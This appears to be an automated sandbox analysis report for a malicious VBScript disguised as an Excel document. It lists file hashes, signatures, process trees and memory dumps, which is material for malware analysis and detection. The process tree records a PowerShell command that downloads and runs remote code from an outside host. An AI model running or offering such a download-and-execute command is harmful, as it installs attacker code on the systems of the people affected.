5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

Resubmissions

12-08-2024 11:41

240812-ntgelazapr 8

08-05-2024 15:00

240508-sdtr7sab2w 8

05-04-2024 15:07

240405-shpdaafc3v 10

04-04-2024 20:19

240404-y3t26aaa37 10

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-04-2024 15:07

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General

Target

EXCEL_DOCUMENT_OPEN.vbs
Size

23KB
MD5

6925ed4c3665b27592c356b0bbd4948d
SHA1

7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA256

5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
SHA512

333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP

384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 2772	2904	WScript.exe	28
PID 2904 wrote to memory of 2772	2904	WScript.exe	28
PID 2904 wrote to memory of 2772	2904	WScript.exe	28
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 2692 wrote to memory of 2672	2692	wmplayer.exe	31
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36
PID 1624 wrote to memory of 1584	1624	wmplayer.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Program Files (x86)\Windows Media Player\setup_wm.exe
  "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
  2⤵
  PID:2672

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Program Files (x86)\Windows Media Player\setup_wm.exe
  "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
  2⤵
  PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp25903.WMC\allservices.xml

Filesize
546B

MD5
df03e65b8e082f24dab09c57bc9c6241

SHA1
6b0dacbf38744c9a381830e6a5dc4c71bd7cedbf

SHA256
155b9c588061c71832af329fafa5678835d9153b8fbb7592195ae953d0c455ba

SHA512
ef1cc8d27fbc5da5daab854c933d3914b84ee539d4d2f0126dc1a04a830c5599e39a923c80257653638b1b99b0073a7174cc164be5887181730883c752ba2f99

Download Submit
C:\Users\Admin\AppData\Local\Temp\wmsetup.log

Filesize
2KB

MD5
661869025faa2b9bfb668b7572f0dbc9

SHA1
be663b67dd43fcf3de0c80690003167d11143e10

SHA256
f63ed34fbbb436f144e2a8303351ea5e86d888958d65703ca4e29435d41b6475

SHA512
8c75e53bf5d7dbca5361bac5f4fdb58086c7dc7b381d2acc7f8fe933527d06d5502890623b2f6eff8058946b017b9e21f3906a931ceddb5b742d1e8dbace1b5a

Download Submit
memory/2772-4-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2772-5-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2772-6-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-7-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2772-8-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2772-9-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2772-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download